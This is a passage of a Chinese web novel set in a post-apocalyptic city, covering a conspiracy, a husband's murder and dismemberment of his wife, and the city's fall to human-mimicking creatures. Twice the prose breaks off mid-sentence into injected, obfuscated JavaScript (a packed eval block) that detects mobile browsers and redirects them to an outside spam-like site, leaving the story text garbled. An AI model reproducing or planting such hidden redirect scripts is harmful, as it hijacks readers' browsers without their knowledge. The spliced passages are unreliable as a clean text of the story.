其实也不是梦,只是没想到吕文彬这么软弱,他就随便诱惑了一下,这人就跟着宣献跑了,满口答应宣献,势必要把仇书章追到手。 这大概是这么多年来,唯一的好消息。 直到仇书章与吕文彬越来越熟,仇书章终于在某一天松懈了警惕心,让宣献找到了机会。 他委托了几个雇佣兵,装成混混的模样,将附近的所有暗卫保镖收拾掉,带着他特制的药粉,洒在仇书章的身上。 这些药粉是他家族多年来的研究,在对付贞洁烈男也十分好用,即使是最正直的直男,用了这些药粉也会变得十分温暖。 结果如他所想,仇书章确实是中招了。 而吕文彬也按照他的吩咐,找到了他们围堵的地方,“救援”仇书章。 如他所想,仇书章不顾仇母的劝阻,顺利地和吕文彬结了婚。 即使在婚后,吕文彬也一副彬彬有礼的模样,夫妻二人相敬如宾,于是仇书章彻底放弃了警惕。 宣献本以为仇书章结了婚,就会放下她的梦想,好好在家里相夫教子,但世间哪有这样的道理,仇书章并未如他所愿,反而是这段“神仙爱情”传遍了大街小巷,更加奠定了她的候选人地位。 好在这个期间,吕文彬争取到了一间酒吧,取名为果木酒吧,果为章与木的结合,木为林的另一个木字。 这是吕文彬作为当年“培养”他的回报,也是光明正大与宣献连接的手段。 没过多久,仇书章有了第一个孩子——仇远。 一个因利益之下生出的孩子,自然也是要经历种种波折,仇远的经历也堪称丰富。 被人暗杀,被身边的人下手,这一切的一切,都是他的父亲指使。 成功拖垮了仇书章,也让她的城主之位一拖再拖。 直到老城主的病,让这样脆弱的局面分崩离析。 那天的仇书章心神俱疲,领着勉强能够走路的仇远,走到了妹妹仇兰月的家中。 仇兰月打开门时,眼里还有对着姐姐单纯的崇拜目光,像是处于保护罩下,单纯到极致的孩子。 她很少对妹妹露出这样的神情,却在看到仇兰月的神色之后,将一切咽到了肚子里。 “我可以过来住几天吗?” 这是仇书章对妹妹第一次委婉地求助,也是最后一次求助。 可惜妹妹没有听懂。 第二年,仇书章被发现死于卧室之中,而作为“神仙爱情”的吕文彬,恰好提供了不在场证明——他去了星空之城学习。 这个不在场证明,让吕文彬偷活了10多年的时光。 宣献叹息了一口气,“真是可惜了,我以为这样就能保住我的地位,谁知道杀出来个程咬金,仇兰月借着位置上位了。” “好在她的上位不明不白,城里的居民并不服她,致使我成功混上了主簿,我才能有今天这个势力。” 在宣献说完这句话后,仇远已经放弃了抵抗,眼睛红了一圈,浑身颤抖。 “哦,忘记了。”宣献对着仇远笑了几下,仿若常备对着年轻的小孩释放善意的微笑。 他手一招,身后就出现了一个身形高挑的人——吕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980950|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文彬。 果木酒吧的老板,仇远的亲生父亲,此时却像是不认识仇远一般,余光也不给仇远一个,走到宣献身后,就谄媚地对着宣献弯了腰。 宣献笑道:“快给你的亲生儿子讲讲,你是怎么杀掉仇书章的。” 吕文彬这才不紧不慢地看了仇远一眼,面无表情地开口,语气活像在讲述一个与他无关的故事。 他其实并不喜欢仇书章,更不喜欢拖着虚伪笑容的,假装关心的伪善模样。 “给,你也饿了很久吧?” 站在摊位前的仇书章笑意盈盈,递给了他一块面包,像是在施舍一个叫花子。 为什么不能给一些软乎的白面包呢?为什么不多给一些让他们吃饱呢?为什么要排队一个个领取,而不是大家凭本事抢夺呢? 这人一定是故意的,一定是因为他吃饱了,所以比他还要烂的百姓就可以吃饱了。 一想到他在外面出生入死,而城里的居民只要动动手,就能吃到这样的面包,他就有一种奇怪的恶心感,像是努力被践踏的恶心感。 他啃着干巴巴的面包,觉得生活也是这样索然无味。 直到他遇到了真心相待他的宣献。 这人赠与他美酒,赠与他美味的面包,所以他自当回报宣献,成为宣献最忠诚的属下。 忠诚到忍着不适感,一步步获取仇书章的信任,与她结婚,与她相妇教子,直到最合适的时机,将她杀掉。 这人总是和他提起教民教子,总是提起什么建设。 吕文彬从小饿到了大,好不容易进了酒城,过上了好日子,凭什么那帮庸民就可以坐享其成? 世上没有这样的道理。 终于在老城主的病重之际,仇书章对他彻底放下了防备,甚至还将心中的种种痛苦讲与他听。 吕文彬不想听,这些所谓的痛苦,有他当时忍饥挨饿多吗?有他在野外和野狗抢食多吗?有他以为末世的大家都这样活着,结果发现有人过得比他好太多的痛苦多吗? 这些只不过是饱暖思□□,好日子过久了的矫情。 这些原本在肚子里抗议的话,不知怎的,在看到仇书章痛苦的表情后脱口而出,收获了仇书章惊恐的神色。 像是第一天认识他一样。 他们经历了撕扯、扭打,一路从客厅打到了卧室,床头柜有一把平时用来剥水果皮的刀,未来得及思考的他,一刀捅进了仇书章的心脏处。 或许是心虚,又或许是其他的原因,在他反应过来之后,仇书章的尸体已经被分成了一块又一块。 而这一幕刚巧被回家的仇远发现。 他的父亲坐在床边,分着母亲的尸体,还泄愤似的剁着母亲身上刮下来的肉沫。 像个地狱的恶鬼。 再后来,仇远生了一场大病,醒来后就不记得这件事了。 吕文彬再三试探,直到确认仇远真的不记得这件事之后,就将他晾在了一边,不管他的死活。 “我对不起仇远。”吕文彬好脾气地笑了笑,丝毫不觉得说这些话有多么的可怕,“所以我把他抚养长大,也算是报答了书章。” 29. 酒城 仇远越听气息越不稳,浑身颤抖,盯着吕文彬的眼睛里染着浓烈的恨意,挣扎断裂一只手铐,直直冲向吕文彬。 吕文彬连正眼都不瞧他,只是轻轻挥了挥手,身后四五个保镖挡在他的面前,连打带踢,直到仇远再也站不起来,才堪堪换了只手铐,把他重新固定住。 手铐禁锢的不止是仇远的身体,还有他被撵得粉碎的灵魂。 直到现在的他,才恍惚想起来自己忘却的那段记忆。 其实只是再普通不过的一天。 “妈妈,你看,这是我画的一家三口!”小小的仇远奋力地举起一张画,上面画了妈妈、他,还有总是喜欢教育他的爸爸。 虽然不知道爸爸为什么喜欢在没人的地方教育他,但仇远知道这是为了他好,于是大方地为父亲腾出来一个位置。 五彩缤纷的花园里,母亲和他在给小树浇水、施肥,父亲则独自站在一个角落,距离她们不远不近,又没有靠前的意思。 这是在去年新建成的公园里,她们一家三口志愿种树的时刻。 仇远自认为这是他最开心的时刻,所以用世界上最绚烂的颜色画了下来,只为了博妈妈一笑——妈妈已经很多天没有笑过了,总是眼睛通红的看着他。 事实上仇书章确实笑了,眼睛弯弯的,蕴含着水光,然后一点点的,将他耗费了三天的画撕得粉碎。 仇远心疼地拼凑着画,“妈,你干嘛撕我的画?!” 直到拼凑出一个完整的人物时,仇书章再次将画撕碎。本就是碎片的画被撕成了碎末,再也拼不起来。 在仇远眼里,如果说第一次撕画时仇书章一时气愤,那么第二次的她就是蓄意而为。 仇远脾气不小,说起话来也毫不顾忌,“妈!你太过分了,爸爸比你温柔多了!” 正在起头上的他,没注意到仇书章颤抖的身体,也没注意到蕴含着水光的眼睛,其实是掉下泪珠的征兆。 阳光房上布满了大大小小的盆栽,里面插着他和妈妈摘得花,色彩娇艳,父亲正坐在堆放的花盆旁,用剪刀修剪着什么。 听到了仇远的脚步声,父亲扬着温柔的笑,问他说:“怎么啦,妈妈又惹你生气了?” “妈妈撕了我画了三天的画!”仇远赌气地嘟着嘴,撒娇似的向爸爸怀里拱。 收获了被掐得青紫的胳膊。 “对不起,我忘记了爸爸您有洁癖。” “没事,是妈妈太过分了,我帮你出气。” 说完,吕文彬拿着尖锐的剪刀,咔嚓一声,娇嫩的花朵应声而断。 “好啦,她撕你的画,我帮你剪断她的花,扯平了。” 仇远不愧是小孩子,气来得快消得也快,一下就被哄好的他,又屁颠屁颠地找妈妈去了。 “妈——” 他在空荡的客厅喊了一声,没有发现仇书章的身影,又继续“噔噔噔”地跑到了卧室,发现仇书章还坐在原位置,仿佛从未变过。 仇远小心翼翼地问:“妈,你怎么了?” 谁料到仇书章一把抓住了他的胳膊,语气徒然拔高:“谁弄的?!” 只见雪白的莲藕胳膊上,有三块紧密挨着的,显而易见的青紫色,像是有人一块块掐出来的。 仇远哆嗦了一下,支支吾吾地:“是我自己不小心摔的。” 四岁的孩子意识不到自己的谎言有多么恶劣,他只是觉得母亲太过可怕,下意识的遮掩。 没想到却成了母亲怒火的根源。 “你又替他瞒着我!”仇书章气得浑身发抖,“凭什么,凭什么我对你这么好,你还要向着他!” 仇远很想说,他并没有向着爸爸,但看到妈妈气势汹汹冲出了卧室后,他莫名的有点不想说了。 其实爸爸打他的时候很痛,但妈妈的表情似乎更加疲惫,一来二去,仇远不想为了这么一点点小事打扰妈妈,也不想因为这个丢失了一家三口的幸福生活。 据他家的员工说,他的出生就是个意外。 “听说仇城主不愿意生下这个孩子呢!” “可不是,还哭了好几次,要不是吕老板竭力劝阻……唉。” 几个员工叹息一声,集体唠着闲,不知是谁偏过头看了一眼,就看到了躲在角落的仇远。 “啊……少爷,您怎么在这?” 仇远只是怔怔地想着,原来自己是多余的。 自从那之后,他会阻止任何会破坏家庭关系的人或事,也包括自己最亲近的人。 但真的很痛。 没想到这次的他只是犹豫了几下,父母已经从阳光房推搡到了客厅,从客厅扭打到了卧室。 仇远歪着头,心想若是自己这次瞒了下来,他们或许还是幸福的三口之家? 没人能回答他,室内只剩下皮肉撕扯的,父母高昂的怒吼声。 等到卧室没了声息,仇远一颗紧张的心放了下来,才敢打开卧室门,向室内眺望。 没看到父母和好的画面,倒是看到了父亲拿着尖锐的刀子,一下又一下地扎着母亲的身体。 往日的母亲会在看到他时温柔地笑,然后招呼着他过来,有时会拿着糖块逗他,有时送给他一些新奇的小玩具。 而这一次,母亲只是脸色苍白,送给了他最后的礼物——一个外翻的内脏血肉,和一滩新鲜的,带着血腥味的黏糊肉沫。 再后来的事,仇远已经没什么记忆了,也不觉得自己的母亲消失很奇怪。 他的妈妈死啦,所有人都这么说,他也心安理得地接受了母亲的死亡。 或许是从某个地方上被刺杀,又或许被什么人暗算,毕竟母亲官很大,敌人很多。 反正总不能是在家吧? 一直这样庆幸的仇远,在听到了父亲的讲话后,才从脑海里扒拉出这段,他从不敢承认的记忆。 ——他一直认为是噩梦的真相。 吕文彬自认为精彩的演讲结束,鞠了一下躬,只有宣献给面子的鼓了掌。 仇景澄看向他的眼睛像是要活剐了他,仇远的眼睛已经失去了高光。 至于宁筠,宁筠蹙了下眉,心想这个老畜生还没少活,一边又在犯嘀咕,如果酒城沦陷了,她去哪里找优秀的酒保,又该怎么逃出去。 真相找到了,犯人也找到了,现在只剩下沈枫将她抓回去,这事对她来说可不太妙。 更不妙的是,宣献似乎并不打算放过她们。 只见宣献扬了下手,四周分散的保镖就向几人靠拢,掏出手里漆黑的枪,对着宁筠几个人。 杀人灭口,倒也十分合理。< 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只是原本散乱的人群逐渐向他们靠拢,藏匿与树叶之下的神情,或多或少携着恼怒的眼神,甚至有人咽不下去这口气,召集着残留的保镖们,将他们围成了一圈。 星空之城外的士兵们浴血奋战,在末世之中极力地保全着富人们的安危,而他们却在最后的避难所里,将所有精力用来内斗。 互帮互助的才是人脉,而成为了大家仇视目标的宣献,不再是一人之下的主簿,只不过是带了几个保镖的普通人罢了。 更主要的是,他们不能再损失任何一人了。 人越多靶子越多,如果伪人们攻了上来,像宁筠这些无法移动的人,就成了伪人最好的目标。 宁筠还不能死。 意识到这一点的他放下了枪,挥手让保镖们散开。 宁筠的手铐还没有解锁,仍是被人挂着的状态,她稍稍动了动,手铐就缠得更紧。 想来是担忧她的猎人身份,于是用了一把特制的手铐,防止她逃跑。 但根本不用她开。 仇景澄不知道从哪里摸出来的钥匙,趁着众人混乱的间隙,随手在手铐孔里钻了几下,手铐就应声解开。 “以你的身份,应该不用会这个技能吧?”宁筠摩挲着手腕,问。 仇景澄嘿嘿一笑,什么都没说。 另一旁的仇远,身上的手铐早就解开了,而他像是提不起力气一般,呆呆地趴在地上,一动也不动。 宁筠突然想到了第一次去果木酒吧时,一个路人说的话。 “怎么不会调酒,他天才着呢!” 算了,就他吧。 宁筠叹了口气,扯了他一把,没扯动。她用了点力气,又扯了他一把,这才勉强将人从地面扛到了肩上。 这小子看着干巴巴的,还挺沉。 就在这时,一阵滑轮滚动的声音在宁筠的耳边炸起,她下意识地偏头,一颗金属子弹就擦着宁筠的耳边而过,撞在旁边的草丛上,扬起了一阵尘土。 她回过头,宣献手握着枪,面色狰狞,“你敢跑?”说完继续拉动保险栓,继续打向宁筠。 就在这时,一道气势汹汹的声音将她钉在原地。 “别动!” 30. 酒城 仇兰月端坐在城主府的案台旁,揉着眉心,另一只手却拿起笔,对着一串数据下画了个圈。 酒城的各项数据,仍需要人为统计并层级上交,最终到仇兰月的手中。 而统领这一项的主簿正被通缉逃亡,导致今天的数据断了层,仇兰月也没法再获取最新的动向。 仇兰月这人有个特点,如果自己闲了下来,她就会找别人的事。 于是自仇兰月上位后的1891场紧急会议就此开始。 仇兰月收拾了一下自己,命令属下打扫会议室,还未等到各位下级的到来,反倒是等来了紧急情报员。 “城……主,城门,被打开了。” 仇兰月“嗯”了一声,刚想说什么,却在镜子的反射中看到了不对劲的一幕。 情报员嘴角歪斜起来,扬了180度的头,声音变得卡顿、忽高忽低,像是某种未知的生物在试图模仿人类的语言。 “您……您……您要成为我们的一员?您会,喜欢的。” “一点都不疼……哦。”情报员怪异地嘻笑了几声,猛地向仇兰月扑了过去。 仇兰月早有准备,狠狠地拿着花盆砸了下去,直到对方的脑袋像一滩烂泥,再也分不清鼻子和眼睛。 怪不得等不到任何一个官员,能被伪人入侵到城主府内,外面的人怕不是凶多吉少。 好在城主府内也有一定的军备,仇兰月没费多大力气,就组成了一个小小的军队,跟着众人迈出了城主府。 她们寻找了众多街道,最终在繁华的星空之城内,见到了最后驻守的士兵。 其实越过城主而自发形成的包围圈,对于城主来说有一定的嫌疑,但在见过众多布满了血腥的、空无一人的街道,仇兰月没时间去思考这些。 至少酒城内的人类还没死光。 地面微微颤动,汽车轰鸣的声音从四面八方而来,仇兰月就坐在为首的那辆车上,一把架在车顶上的机枪冲着宣献四周扫了一圈。 趁着没人敢靠近,几个士兵一把抓住了宣献的胳膊,将他摁在地上。 “城主?” 仇兰月从车顶上跳下,干练的短发别在耳后,手上的枪指向宣献。 “私自放开城门,导致全城危机,你知道自己什么罪吧?” 宣献本来还在颤抖,听到这句话冷笑了几声,装也不装了。 “全城失守怪我吗?城主大人日常的政绩如何,您自己有数。” 大抵是地球人的特性,听到了瓜,宁筠看了下昏迷不醒的仇远,最终还是决定停下来吃两口。 毕竟她一个人拖着这么大的孩子,也是非常困难的。 “官场上你的人少了?既然能控制城门的开关,主簿日常放了多少人,想必也应该有数吧?” “你要是乖乖能将城主交出来,我会这么做?!” 在两人的对话中,宁筠明白了一件事——酒城会有这么多的伪人,不止有底层玩忽职守的原因,上层的明争暗斗也是导致此次灾难的结果。 所以街道的居民夜晚有不开门的习惯,所以孩子们会以调戏伪人为乐,所以…… 所以酒城能这么快被攻破,重点不是城门打开,而是隐匿于城市各个角落的,逐渐适应了城市生活的伪人。 就像是潜伏的病毒,终有一天会迎来爆发期。 “要不是你的姐姐非要宣扬平等,我会这么布局吗!” 宣献红了眼,即使被士兵们打断了胳膊和腿,他挣扎着爬起来,大声嘶吼:“我的祖上挨了多少鞭子,被狱警折磨了多少天,才换回来的荣华富贵,这帮幸福享乐的贫民,就活该被我压上一头,尝尝我祖上吃过的苦!” “凭什么,凭什么我的祖辈进过监狱,我就要被基地淘汰?凭什么那帮贫民想走就走,想去就去,我问你凭什么!”他喘着粗气,不顾形象地大笑着,笑得眼泪顺着上扬的嘴角流下,啪嗒啪嗒落在地面上。 无数名为嫉妒的藤蔓紧紧抓着五脏六腑,转化成了不可说的恶念。 “你知不知道仇书章死的时候,我有多开心,你知不知道——” “砰。” 一声枪响,宣献的人头落了地,像是果实成熟后,腐烂了外表后留下的种子。 人死后的15秒不会失去意识。宣献睁着极大地眼睛,空洞地注视着仇兰月,瞳孔变得涣散。 在这十五秒他会后悔吗?宁筠不清楚,她正拖着仇远,他却像是突然活了过来一般,不停地咳嗽着。 仇兰月将视线转向了她们。 “你们没事就好。” 仇远捂住嘴巴,声音虚弱又难过,“小姨,如果我当初能继续忍下去的话,妈妈还会死吗?” 仇兰月:“抱歉,我不知道。但你不用自责,即使没有这件事,他们依旧会找其他机会刺杀她的。” 她停顿了一下,眼睛微微发红,一向干练简洁的女性,此时看起来有那么一点无助。 “其实更应该怪我。如果我当时没那么软弱,如果我发现了她的异常……” 话音未落,远处隐约出现了模糊的影子,没过几秒,那群影子逐渐靠近,又变得清晰起来。 是全副武装的士兵们。 “伪人太多,我们的补给不够,酒庄门口已经……”失守了。 仇兰月这才缓过神来,看到了一圈带着枪的保镖,愣了一下,语气有些不大好了。 “你们有枪有资源,不去酒庄门口帮助士兵们,怎么在这里内讧?” 在仇兰月到达时,地面上堆积了不少士兵的尸体,甚至还有部分士兵不分敌我,自相残杀。 血腥气味冲天,人间地狱。 四周的富人们你看我我看你,其中有人支支吾吾地说着:“保镖可以保护……保护我们离开。” 仇兰月气笑了。 正要说些什么,后续的大部队也赶到了。 “补给不够支持灭掉整个城市的伪人,要么突围出去,要么烂在这里等死,你们选哪一个?” 沈枫手握着专属于他的蓝枪,表情冷硬,话里虽然给了众人选择,但语气上十分强硬,仿佛在说“不跟着我突围,你就在这里等死吧”。 其他人都在谄媚着,疯狂地挤入士兵的包围圈,只有宁筠默默后退 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看到了宁筠,仇景澄像是看到了救星一般,挥着手,“求求你们把我姐带走吧!她一直在发呆,也不知道怎么回事。” “仇兰月!”宁筠喊了一声。 以往雷厉风行的人,此时只会呆呆地看着她的方向,什么都说不出来。 “拉着我,我们一起走。” 宁筠伸出一只手,奋力地勾上仇兰月的衣角,企图将人拉到车子里。这种拉人的方式可能性不高,除非宁筠能顺着力度极限一换一。 事实上宁筠是这样想的,一换一既能救下仇兰月,自己又有个机会跳车假死,然后带着仇远一起逃回到自己的酒馆里。 堪称完美的计划,却被仇兰月一个手掌推了回去。 她笑着,眼眸中隐隐蕴含着光,“我和城里的所有人共生死,我不会放弃他们的。” 即使最后存活的人是烂掉渣的恶人,即使她还有逃生的机会。 仇兰月错过了救姐姐最好的时刻,也错过了救居民最好的时刻,但她有些茫然地想着,她似乎还没有违背姐姐的意愿。 “我要将酒城变成平等的城市。” 如果她竭力逃脱,远离这座城市,才是对酒城居民的不平等。 凭什么居民们就要为他们的苟活而死呢? 这样想着的她,使劲地拍了宁筠一把,笑着将宁筠摁回到车内,说:“我那不争气的外甥就交给你了。” 伪人们攻破了所有的防线,以突破了人体机能的速度冲刺着,即使腿上的肌肉跑的崩断,内脏超负荷爆炸出血沫。 直到第一批冲到了人们的面前。 仇兰月面对伪人伸出尖锐的爪子,坦荡地张开手臂,没有任何恐惧。 她的视线之中满是混乱,尖叫、撕扯、哭泣,最后是抿于黑暗的寂静。 也不知道这算不算是完成了姐姐的愿望。 ——于80年10月25日,酒城沦为伪人之城。 31. 她有好好的到过别 装甲车蜿蜒前行,越过了无数处于灾难之中的人们,冲天的血腥气味萦绕在鼻尖,随着远离活人区而逐渐变得微弱。 “真是造孽。”驾驶的士兵叹息一声,锤了一下方向盘,“什么时候伪人能全都消失……真是受够了像畜生一样的生活。” 沈枫将挡风玻璃关掉,室外的味道逐渐散去,车内弥漫上一股窒息沉闷的味道。 也有些安静。 片刻后,有人低低地叫了一声:“小刘,别这么说。” 驾驶的士兵停顿了一下,气势低落:“我不是那个意思,我就是觉得……它们就像是猎人一样,等着我们‘成熟’的时候收割。” “就觉得……很恶心。” 如果伪人们没有智慧,无法解释为什么伪人们会大规模的集体行动,也无法解释它们为什么会到现在才发动攻击——毕竟不是潜伏的话,单凭几十分钟的城门大开,绝对不可能攻陷城市。 这个认知让车内的所有人呼吸震颤。 “老大,我们能活到末世结束的那天吗?”在车子内发动机的轰鸣声之外,有人将目光落在了沈枫身上。 这些人大概是沈枫带过来的属下,宁筠歪了下头,也跟着看向了他。 沈枫身上匆匆披了件蓝色披风,上面沾染了不少的紫色痕迹,健硕的身材就包裹在这样的披风里,裸露在外的眉眼间有了些许疲惫。 “先回基地。” 周围的人已经恢复了轻松惬意的氛围,有几个人说说笑笑的,唠起了家长。 “又成功活了一天,今天回去吃点大餐吧?” “呵,对小刘你来说,还在呼吸就已经很厉害了吧?” “啊?你要是哪天不呼吸了,你看我不嘲笑死你!” 就在这时,小刘突然大叫了一声,“抓稳了!” 装甲车突然加速,甩了个漂亮的漂移,将街上还在游荡的伪人们甩在车外,更有不少伪人被卷入车轮之下,随着车队的挤压被捻成碎末。 在漂移的过程中,宁筠一手抓着门把手,将将稳住身形,一旁似乎有人未抓稳,直直撞向了宁筠的怀中。 宁筠眉间蹙了一下,将要伸手推开,那人沉闷地咳嗽了几声,单手撑着率先起了身。 是沈枫。 他仔细地端详了宁筠片刻,“啊”了一声:“差点忘了还有你。” “三千万你要怎么还?” 这人受伤了也有心思开玩笑。 宁筠深思熟虑,开口道:“千万要幸福,千万要健康,千万要开心。” 下一秒,哗啦啦的锁链声响起,寒凉的物体就扣在了宁筠的手腕上,另一边被沈枫抓着,晃了晃。 “行。六千万买的手铐,记得还钱。” 宁筠不知道该说什么,只得装作不经意的抬起头,却发现车内的视线有些不大对。 一向爱说话的小刘没了声音,只是一双眼睛频繁地瞄着后视镜,跟抽筋了一样。其他人看起来正襟危坐,宁筠总觉得他们的视线在往这边瞟。 后知后觉的,她才注意到,沈枫的手撑在把手上,身体半抬不抬的,刚好距离宁筠一个拳头远。 这是一个很尴尬的姿势。宁筠被迫缩在座椅上,忍受对面的呼吸带来的湿润感。 她稍稍偏开头,视线越过沈枫,落在装甲车的后视镜上,瞳孔一缩。 被碾压的伪人们似乎找到了什么诀窍,乌泱泱的矗立在城门内外,脸上空洞,像是被本能鞭挞着,齐齐向装甲车涌了上去。 这是个拿尸体堆的笨方法,但意外的有效,至少装甲车的速度确实慢了不少,足够伪人们尝试着攀爬车顶。 没有人命令,车内的猎人们默契地支起了枪,对着周围的伪人们扫射。 天色渐晚,但枪支带来的花火显得格外明亮,子弹落下的声音像是新春的鞭炮,一串又一串,落在伪人身上。 “你看起来不是很想跟我们回去。”旁边有人对她说。 表现得这么明显吗? 沈枫又瞅了她一眼,“都写在脸上了。” “欠钱在基地是最小的罪名,你注册个猎人,做几次任务就能还清。为什么不愿意回去?” 宁筠眯起眼睛,没回答他的话。 放屁,她一个伪人找死了才会选择回去。 基地的设备对她亮了两次红灯,她现在回去,是打算为他们表演灯光秀吗? 但这些话不能说,她只是含糊地说着:“基地太混乱了。” 沈枫罕见地沉默了一下,偏头看向窗外。 酒城的街道已经看不到什么行人,满是扭曲爬行,以及被枪支冲散的残缺伪人。 这里不混乱,这里全是伪人。 “老大,它们好像有意识地围堵车辆,这样下去……” 那人话没说全,被冲锋枪的声音盖了过去,但后面的话不用说也能知道,他要说的是:这样下去我们会被堵死在里面。 这是个好机会。宁筠偏头看了沈枫一眼,指尖落在了身后的袋子里。 “砰。” 一声短促的枪声响起,车内的成员已经杀红了眼,没人注意到这枪声。 紧靠着沈枫的车座破了一个洞,只需要偏移毫厘,即可杀掉沈枫。 沈枫握着枪的手一顿,“你想杀了我?” 下一秒,闪着蔚蓝色金属光芒的枪支抵在了沈枫的胸口处,枪口冰冷,刺激的沈枫又是一声闷哼。 似乎摁到了他的伤患处,新的暗色出现在他的领口上。 “把门打开。”宁筠尽可能让自己的声音听起来很冷,像是□□的大姐头一样。 “老大!”一直注视着后视镜的小刘看到了这一幕,惊叫了一声,“老大被人威胁了!” 猎人们腾不出手,其中有个人刚把注意力放在宁筠这边,伪人们就像是得到了机会一般,加快了进攻的速度。 防弹玻璃快碎了。 或许是猎人们并不想节外生枝,或许是宁筠的威胁确实有效。只听咔哒一声,宁筠打开了门,顺手拖着还在昏睡的仇远,跳下了车。 还顺手关上了车门。 也不知道该不该夸她有礼貌。 沈枫抬眼,在视线的最后,是宁筠隐没于伪人群中,不知所踪。 “老大。”小刘的声音看起来很是担忧,“我怕她伤到了你,就自作主张放走了她,反正不过是……” 絮絮叨叨的声音被人制止。 “刘默。她不对劲,应该带她去探测仪检查一下的。” 沈枫揉着眉心,呼吸声比平时要快上许多。 他有了一个很重要的发现。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012301|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 正如沈枫所说的,宁筠的心里话都写在了脸上,在沈枫问了宁筠“为什么”之后,她的脸上就处于一种很奇怪的状态。 一种理所当然的,不耐烦的表情,但其中夹杂着,她自己都注意不到的心虚。 她为什么会心虚呢? 此时小刘的表情看起来更加心虚,支支吾吾的,“那怎么办……人都放走了。” “回基地。” 小刘应了一声,将装甲车的油门拉到了最大。 在猎人们不间断的配合之下,陷入停滞状态下的装甲车竟然动了起来,然后缓慢的,碾压者围堵在车前的伪人们。 有了装甲车的帮忙,清理伪人变得简单又有效,最终在众人期盼的目光之下驶出了城门外。 宁筠躲在一个屋子的内部,安静地看着装甲车成群结队的离开。 直到最后一个装甲车离开后,伪人们像是一下子失去了目标,零零落落地分散开来。 宁筠这才低头离开窗户旁。 房子内部保存还算完整,前台上还留着一壶热水,壶嘴对着一个破破烂烂的门口,里面是一截楼梯,直直通往楼上。 宁筠对此有印象,她在酒城的第一晚就是在这里度过的。 那个见人下菜碟的老板不在了,上面闹闹哄哄的客人们也消失不见。宁筠偏着头想,也不知道门外的哪些伪人,曾经还保留过他们的模样。 在这样的想法中,宁筠给自己倒了一杯水,顺着干涸的喉咙流淌下去。 纸杯被她好好地扔在了垃圾桶里,她拿出几块硬币,郑重地放在了前台的收银台里,与这座城市好好地到了个别。 天色逐渐黑了,宁筠趁着伪人们的不注意,跑到了城外。 城内的混乱显然没波及到城外,即使看到了装甲车外逃,也仍有无数等在门口的人们,慌乱地向着城内挤着。 “骗子!酒城怎么可能被攻破?你们一定是不想让我们进城。” “今天没有守卫,大家快进!” …… 虽说酒城的邀请函只会发给一个人,但如果有人当上了酒城的官职,就可以带着一家老小获取荣誉酒城人的资格,最后全家免费入住酒城。 故而来酒城的,大多是年轻力壮的年轻人,携着全家的希望,势必要在酒城混出一番名堂来。这一万斤粮食和一家子的重担对于年轻人们太过于沉重,很多人不愿意承认,也不想去承认酒城被攻破了。 与洪流之中,一个小女孩的声音就显得格外单薄。 “大家别去了,你们没闻到血腥味吗?城里不对劲!” 可惜没有人听她的,有人嫌她碍事,一巴掌把她推到了一边。小姑娘红着眼,被人群推得踉踉跄跄,直直扑向了刚刚走出城门口的宁筠。 宁筠稍一抬手,就接住了她。 “谢谢。”小女孩仰起头,对着宁筠感激地笑了下。 “城里确实不能进了。我刚从城里逃出来,里面被伪人屠城了。”宁筠看了眼堪称疯狂的人们,“不用你管,他们进去了也会跑出来的,你先回家吧。” 小女孩摇了摇头,语气落寞:“我家里好不容易凑出了一万斤粮食,如果我这样回去……” 宁筠扯了一下她的胳膊,“那我有一个住处,还算安全,你要不要过来?” 32. 人的味道 小姑娘偏头想了想,说:“我还有家人,也可以来吗?” “当然可以。” 小姑娘看起来十分开心,脸上的阴霾转瞬而逝,道:“谢谢姐姐。您在城外有安全的住处,为什么还要来酒城?” 宁筠沉默了一下,顿时觉得牙有点疼,无意识捏着手腕。 见宁筠不回答,小姑娘耳尖有些红,顿了一下说:“我家离这里不远,那我先去叫一下我家人,您在这里稍稍等我一下。” “不用了。” 宁筠看着顿住的人群,说:“我们现在就走。” 她找到当时遗留在城外的三轮车,将不知死活的仇远扔在了车里,又翻出了一块板子,横在中间当做座位,等小姑娘坐了上去,宁筠蹬着三轮带几人出发。 在她们走了几百米之后,隐约听到后方传来的尖叫声,宁筠稍稍回头看去,刚刚如同蚂蟥入境般的民众,此时却向着四面八方逃难。 直到拐了个弯,再也看不到城门,宁筠才收回了视线。 没过了多久,宁筠就到了她所说的住处。 三五个房子聚集在一起,形成了一个小小的村落,被大片绿油油的麦地包围。 “小晓?你怎么这么快回来了?”一个女性站在麦地里,扛着锄头,远远地冲着宁筠这边喊了一声。 坐在车后的小晓抬头应了一声,“酒城被攻破了,我来带你们走。” 女人见小晓下车后就搬运着东西,手中的锄头滑落,片刻后才呐呐地说:“怎么会,那咱家的粮食……” “没办法了,快收拾东西!” 酒城被攻破,周边的村落也避免不了,女人听到这些,也不再说些什么,立马翻箱倒柜。 东西不多,无非就是被褥、衣服,以及一些农民的生存根本——农具。 众人收拾的动静不小,引来了剩余几个村民的驻足,经过一番折腾后,宁筠收获了几个村民,几辆小车,若干农具和醒来的仇远。 一阵剧烈的咳嗽声,仇远捂着胸口咳完,又被颠簸的路面震了个趔趄,差点跌出车内。 “这是……哪?” 仇远抬起头,看着全然陌生的野外,以及坐在一旁惶恐不安的小晓,问出了第二个经典提问。 “你又是谁?” 小晓不知道该怎么回答,还是宁筠率先出了口:“这位是小晓,路上捡的,你醒了?” 